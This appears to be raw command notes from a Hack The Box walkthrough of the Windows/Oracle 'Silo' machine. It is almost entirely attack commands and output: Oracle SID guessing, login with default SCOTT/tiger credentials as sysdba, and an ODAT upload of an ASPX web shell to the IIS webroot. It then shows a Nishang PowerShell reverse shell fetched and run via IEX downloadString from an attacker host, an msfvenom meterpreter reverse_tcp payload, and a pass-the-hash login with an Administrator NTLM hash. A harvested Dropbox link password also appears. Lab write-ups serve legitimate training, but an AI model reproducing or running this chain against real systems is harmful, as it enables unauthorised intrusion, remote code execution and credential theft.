ORACLE ODAT.PY

REVERSE NISHANG

PTH PASSTHEHASH

PORT STATE SERVICE VERSION

80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

| http-methods:

|_ Potentially risky methods: TRACE

|_http-server-header: Microsoft-IIS/8.5

|_http-title: IIS Windows Server

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn

445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds

1521/tcp open oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized)

49152/tcp open msrpc Microsoft Windows RPC

49153/tcp open msrpc Microsoft Windows RPC

49154/tcp open msrpc Microsoft Windows RPC

49155/tcp open msrpc Microsoft Windows RPC

49158/tcp open msrpc Microsoft Windows RPC

49160/tcp open oracle-tns Oracle TNS listener (requires service name)

49161/tcp open msrpc Microsoft Windows RPC

Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

root@akg:/home/akg/Desktop/hackthebox/silo# sidguess -i 10.10.10.82 -d /usr/share/metasploit-framework/data/wordlists/sid.txt

FOUND SID: XE

FOUND SID: PLSExtProc

msf5 > use admin/oracle/oracle_login

msf5 auxiliary(admin/oracle/oracle_login) > set RHOSTS 10.10.10.82

RHOSTS => 10.10.10.82

msf5 auxiliary(admin/oracle/oracle_login) > set SID XE

SID => XE

Default pass SCOTT:tiger

root@akg:/home/akg/Desktop/hackthebox/silo# sqlplus SCOTT/tiger@10.10.10.82:1521/XE

SQL> select * from user_role_privs;

USERNAME GRANTED_ROLE ADM DEF OS_

------------------------------ ------------------------------ --- --- ---

SCOTT CONNECT NO YES NO

SCOTT RESOURCE NO YES NO

root@akg:/home/akg/Desktop/hackthebox/silo# sqlplus SCOTT/tiger@10.10.10.82:1521/XE as sysdba

SQL> select * from user_role_privs;

USERNAME GRANTED_ROLE ADM DEF OS_

------------------------------ ------------------------------ --- --- ---

SYS ADM_PARALLEL_EXECUTE_TASK YES YES NO

SYS APEX_ADMINISTRATOR_ROLE YES YES NO

SYS AQ_ADMINISTRATOR_ROLE YES YES NO

SYS AQ_USER_ROLE YES YES NO

SYS AUTHENTICATEDUSER YES YES NO

SYS CONNECT YES YES NO

SYS CTXAPP YES YES NO

SYS DATAPUMP_EXP_FULL_DATABASE YES YES NO

SYS DATAPUMP_IMP_FULL_DATABASE YES YES NO

SYS DBA YES YES NO

SYS DBFS_ROLE YES YES NO

USERNAME GRANTED_ROLE ADM DEF OS_

------------------------------ ------------------------------ --- --- ---

SYS DELETE_CATALOG_ROLE YES YES NO

SYS EXECUTE_CATALOG_ROLE YES YES NO

SYS EXP_FULL_DATABASE YES YES NO

SYS GATHER_SYSTEM_STATISTICS YES YES NO

SYS HS_ADMIN_EXECUTE_ROLE YES YES NO

SYS HS_ADMIN_ROLE YES YES NO

SYS HS_ADMIN_SELECT_ROLE YES YES NO

SYS IMP_FULL_DATABASE YES YES NO

SYS LOGSTDBY_ADMINISTRATOR YES YES NO

SYS OEM_ADVISOR YES YES NO

SYS OEM_MONITOR YES YES NO

USERNAME GRANTED_ROLE ADM DEF OS_

------------------------------ ------------------------------ --- --- ---

SYS PLUSTRACE YES YES NO

SYS RECOVERY_CATALOG_OWNER YES YES NO

SYS RESOURCE YES YES NO

SYS SCHEDULER_ADMIN YES YES NO

SYS SELECT_CATALOG_ROLE YES YES NO

SYS XDBADMIN YES YES NO

SYS XDB_SET_INVOKER YES YES NO

SYS XDB_WEBSERVICES YES YES NO

SYS XDB_WEBSERVICES_OVER_HTTP YES YES NO

SYS XDB_WEBSERVICES_WITH_PUBLIC YES YES NO

root@akg:/home/akg/Desktop/tools/odat# python3 odat.py all -s 10.10.10.82 -d XE -U SCOTT -P tiger –sysdba

root@akg:/home/akg/Desktop/tools/odat# python3 odat.py utlfile -s 10.10.10.82 -d XE -U scott -P tiger --sysdba --putFile C:\\inetpub\\wwwroot file.aspx file.aspx (cmdasp.aspx)

http://silo.htb/file.aspx

root@akg:/home/akg/Desktop/hackthebox/silo# python -m SimpleHTTPServer 80

root@akg:/home/akg/Desktop/hackthebox/silo# nc -nlvp 9001

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.33 -Port 9001 (nishang.ps1)

powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.33/nishang.ps1')

PS C:\Users\Phineas\Desktop> type user.txt

92ede778a1cc8d27cb6623055c331617

PS C:\Users\Phineas\Desktop> type "Oracle issue.txt"

Support vendor engaged to troubleshoot Windows / Oracle performance issue (full memory dump requested):

Dropbox link provided to vendor (and password under separate cover).

Dropbox link

https://www.dropbox.com/sh/69skryzfszb7elq/AADZnQEbbqDoIf5L2d0PBxENa?dl=0

link password:

?%Hm8646uC$

SeChangeNotifyPrivilege Bypass traverse checking Enabled

SeImpersonatePrivilege Impersonate a client after authentication Enabled

SeCreateGlobalPrivilege Create global objects Enabled

root@akg:/home/akg/Desktop/hackthebox/silo# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.33 LPORT=9002 -f exe -o meterpreter.exe

root@akg:/home/akg/Desktop/hackthebox/silo# python -m SimpleHTTPServer 80

root@akg:/home/akg/Desktop/hackthebox/silo# pth-winexe -U Administrator%aad3b435b51404eeaad3b435b51404ee:9e730375b7cbcebf74ae46481e07b0c7 //10.10.10.82 cmd